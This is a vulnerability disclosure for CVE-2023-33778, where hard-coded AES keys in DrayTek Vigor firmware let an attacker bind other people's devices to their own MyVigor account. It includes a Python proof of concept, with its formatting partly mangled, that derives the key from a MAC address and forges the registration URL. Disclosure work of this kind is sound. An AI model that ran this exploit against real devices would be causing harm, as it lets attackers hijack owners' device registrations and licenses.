Headline
CVE-2023-33778: DrayTek-vigor-vul-description
Draytek Vigor Routers firmware versions below 3.9.6/4.2.4, Access Points firmware versions below v1.4.0, Switches firmware versions below 2.6.7, and Myvigor firmware versions below 2.3.2 were discovered to use hardcoded encryption keys which allows attackers to bind any affected device to their own account. Attackers are then able to create WCF and DrayDDNS licenses and synchronize them from the website.
Hard-coded Cryptographic Key Vulnrability****Product
This vulnerability affects DrayTek’s all Vigor series products, including routers, access points, and switches.
Versions
The vulnerability exists in the following firmware versions:
- Routers: versions below 3.9.6/4.2.4.
- Access Points: versions below v1.4.0.
- Switches: versions below 2.6.7.
- Myvigor: versions below 2.3.2.
Note that DrayTek has confirmed and fixed this vulnrability.
Vulnerability Type
CWE-321 - Use of Hard-coded Cryptographic Key
Vulnerability Description
We have identified a vulnerability in DrayTek’s firmware that involves the use of hard-coded encryption keys. This vulnerability allows an attacker to bind any affected device, which does not belong to them, with their own account. By utilizing the MAC address of a vulnerable device, the attacker can generate an encrypted URL to register the device. Even if the attacker does not know the device’s MAC address, they can easily enumerate it by brute force. Once the device is bound to the attacker’s account, the device owner is unable to bind it themselves. Consequently, the attacker gains the ability to create WCF and DrayDDNS licenses and synchronize them from the website.
The attacker can construct the device registration URL using the following parameters:
- drayreg_mac: device’s MAC address.
- drayreg_iv: initialization vector (IV) for AES encryption.
- drayreg_sec: ciphertext used for server verification.
The construction of the registration URL is shown in the following figure. The attacker can either brute force the drayreg_mac within a specific range or use publicly exposed MAC addresses on the Internet. The drayreg_iv is randomly generated and serves as the IV for AES encryption. On the other hand, the drayreg_sec is the ciphertext used by the server for verification purposes.
POC
#!/usr/bin/python3
import base64 from Crypto.Cipher import AES
class AESCipher: def __init__( self, key, iv ): self.key = key self.iv = iv
def encrypt( self, raw ):
cipher \= AES.new( self.key, AES.MODE\_CBC, self.iv )
return base64.b64encode( cipher.encrypt( raw ) )
def decrypt( self, enc ):
enc \= base64.b64decode(enc)
cipher \= AES.new(self.key, AES.MODE\_CBC, self.iv )
return cipher.decrypt( enc )
def key_gen(model, mac): key = model key_pads = ['50’, '32’, '12’, '57’, ‘59’] for i in range(5): j = (5 - i) * 2 k = j + 2 key += mac[j:k] + key_pads[i] key += mac[0:2] if len(key) > 32: key = key[:32] return key
def plaintext_gen(mac, time, bits): plaintext = f’{mac}+{time}+http://192.168.1.1+’ plaintext = plaintext.ljust(bits, ‘0’) return plaintext
def url_gen(mac, iv, cipher): url = f’https://myvigor.draytek.com/login?mac={mac}&var={iv}&ticket={cipher}’ return url
if __name__ == "__main__": fake_model = “vigor29120” fake_mac = “001daa978e60” fake_iv = “6d2f73b86c7f4c8e” fake_time = ‘20200812103100’
fake\_key \= key\_gen(fake\_model, fake\_mac)
fake\_aes \= AESCipher(fake\_key, fake\_iv)
plaintext \= plaintext\_gen(fake\_mac, fake\_time, 512)
fake\_cipher \= fake\_aes.encrypt(plaintext).decode('utf-8')
print(fake\_cipher)
fake\_url \= url\_gen(fake\_mac, fake\_iv, fake\_cipher)
print(fake\_url)
Screenshots